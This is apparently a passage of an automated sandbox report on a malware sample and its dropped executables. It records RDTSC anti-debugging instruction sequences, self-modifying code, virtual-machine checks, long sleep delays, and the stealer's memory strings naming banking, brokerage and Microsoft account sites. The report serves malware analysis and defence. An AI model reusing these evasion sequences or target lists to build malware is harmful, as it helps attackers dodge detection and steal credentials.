Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 987100 second address: 987173 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F105534B21Ch 0x00000013 push 00000000h 0x00000015 jmp 00007F105534B223h 0x0000001a mov edi, dword ptr [ebp+122D3B15h] 0x00000020 push 00000000h 0x00000022 mov ebx, 4EB1A3F7h 0x00000027 xchg eax, esi 0x00000028 pushad 0x00000029 push ebx 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c pop ebx 0x0000002d pushad 0x0000002e jc 00007F105534B216h 0x00000034 jmp 00007F105534B221h 0x00000039 popad 0x0000003a popad 0x0000003b push eax 0x0000003c push edi 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F105534B223h 0x00000044 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 988003 second address: 988079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A098h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F105527A088h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov di, D54Ch 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007F105527A088h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 mov edi, dword ptr [ebp+122D3B3Dh] 0x0000004a push 00000000h 0x0000004c sbb bl, FFFFFFACh 0x0000004f push eax 0x00000050 push ebx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 98A0EA second address: 98A176 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B224h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add dword ptr [ebp+122D2256h], ebx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F105534B218h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e jmp 00007F105534B225h 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007F105534B218h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f sub dword ptr [ebp+12482029h], esi 0x00000055 xchg eax, esi 0x00000056 push esi 0x00000057 push eax 0x00000058 push edx 0x00000059 jc 00007F105534B216h 0x0000005f rdtsc
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	RDTSC instruction interceptor: First address: 98C2C7 second address: 98C2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F105527A094h 0x0000000e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 66F80C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 80DFBC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 80D51C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 66D13E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Special instruction interceptor: First address: 7BEE3C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Special instruction interceptor: First address: 98E772 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Special instruction interceptor: First address: 971574 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2AEE3C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 47E772 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 461574 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Special instruction interceptor: First address: BFE991 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 370126 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 39E862 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 401D3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Special instruction interceptor: First address: A5F80C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Special instruction interceptor: First address: BFDFBC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Special instruction interceptor: First address: BFD51C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Special instruction interceptor: First address: A5D13E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Special instruction interceptor: First address: 628659 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Special instruction interceptor: First address: 626C01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Special instruction interceptor: First address: 6548A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Special instruction interceptor: First address: 6C84F9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 5E58659 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 5E56C01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 5E848A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 5D78659 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 5D76C01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 5DA48A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Special instruction interceptor: First address: 5E184F9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Memory allocated: 5440000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Memory allocated: 5650000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Memory allocated: 5440000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Memory allocated: 4CE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Memory allocated: 4EA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Memory allocated: 6EA0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsGHIDGDHCGC.exe

Code function: 20_2_04D70BEA rdtsc

20_2_04D70BEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 372
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 4028
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 4281
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window / User API: threadDelayed 1857
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window / User API: threadDelayed 1617
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window / User API: threadDelayed 1885
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window / User API: threadDelayed 1845
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Window / User API: threadDelayed 1861
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 8986

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 1680	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 408	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3524	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2836	Thread sleep count: 110 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2836	Thread sleep time: -220110s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3868	Thread sleep count: 115 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3868	Thread sleep time: -230115s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9056	Thread sleep count: 372 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9056	Thread sleep time: -11160000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1400	Thread sleep count: 119 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1400	Thread sleep time: -238119s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6568	Thread sleep count: 4028 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6568	Thread sleep time: -8060028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8936	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6716	Thread sleep count: 109 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6716	Thread sleep time: -218109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6568	Thread sleep count: 4281 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6568	Thread sleep time: -8566281s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 6044	Thread sleep count: 52 > 30
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 6044	Thread sleep time: -104052s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 9148	Thread sleep count: 59 > 30
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 9148	Thread sleep time: -118059s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 4480	Thread sleep count: 56 > 30
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 4480	Thread sleep time: -112056s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 9140	Thread sleep count: 1857 > 30
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 9140	Thread sleep time: -3715857s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 6324	Thread sleep count: 1617 > 30
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 6324	Thread sleep time: -3235617s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 9112	Thread sleep count: 1885 > 30
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 9112	Thread sleep time: -3771885s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 6308	Thread sleep count: 1845 > 30
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 6308	Thread sleep time: -3691845s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 9132	Thread sleep count: 1861 > 30
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe TID: 9132	Thread sleep time: -3723861s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 7864	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 1276	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 4128	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe TID: 3664	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 6168	Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 2984	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 2740	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 8804	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 5960	Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 1244	Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe TID: 8156	Thread sleep time: -66033s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe TID: 8372	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 8668	Thread sleep count: 8986 > 30
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 8668	Thread sleep time: -898600s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsGHIDGDHCGC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C62C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C62C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, 00000000.00000002.2449094003.0000000000E61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxw
Source: file.exe, file.exe, 00000000.00000002.2447497989.00000000007F0000.00000040.00000001.01000000.00000003.sdmp, DocumentsGHIDGDHCGC.exe, DocumentsGHIDGDHCGC.exe, 00000014.00000000.2439812740.0000000000949000.00000080.00000001.01000000.0000000B.sdmp, DocumentsGHIDGDHCGC.exe, 00000014.00000002.2495954409.0000000000949000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 00000015.00000002.2538772732.0000000000439000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000000.2478615804.0000000000439000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000000.2643776237.0000000000439000.00000080.00000001.01000000.0000000E.sdmp, 397a6a3fac.exe, 00000019.00000002.3196193335.0000000005E3A000.00000040.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000002.3186695961.0000000000351000.00000040.00000001.01000000.00000010.sdmp, 829de9457d.exe, 0000001B.00000002.2926434284.0000000000BE0000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 0000001D.00000000.2901022388.0000000000439000.00000080.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2449094003.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareMsA4(
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 397a6a3fac.exe, 0000001E.00000002.3314821273.0000000000C0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: DocumentsGHIDGDHCGC.exe, 00000014.00000003.2466595210.000000000102D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 397a6a3fac.exe, 00000019.00000002.3189065235.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\V-
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.000000000581D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, 33a9120b78.exe, 397a6a3fac.exe, 00000019.00000002.3189065235.0000000000BAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000002.3189065235.0000000000C01000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 0000001B.00000002.2927755728.00000000015E1000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 0000001B.00000002.2927755728.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000002.3314821273.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 00000020.00000002.3087259730.0000000001608000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 00000020.00000002.3087259730.00000000015DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 397a6a3fac.exe, 00000019.00000002.3189596233.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 829de9457d.exe, 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware#S/*$
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 33a9120b78.exe, 00000018.00000003.3228409571.000000000170D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 397a6a3fac.exe, 0000001E.00000002.3326607378.00000000054BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 397a6a3fac.exe, 00000019.00000002.3189596233.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
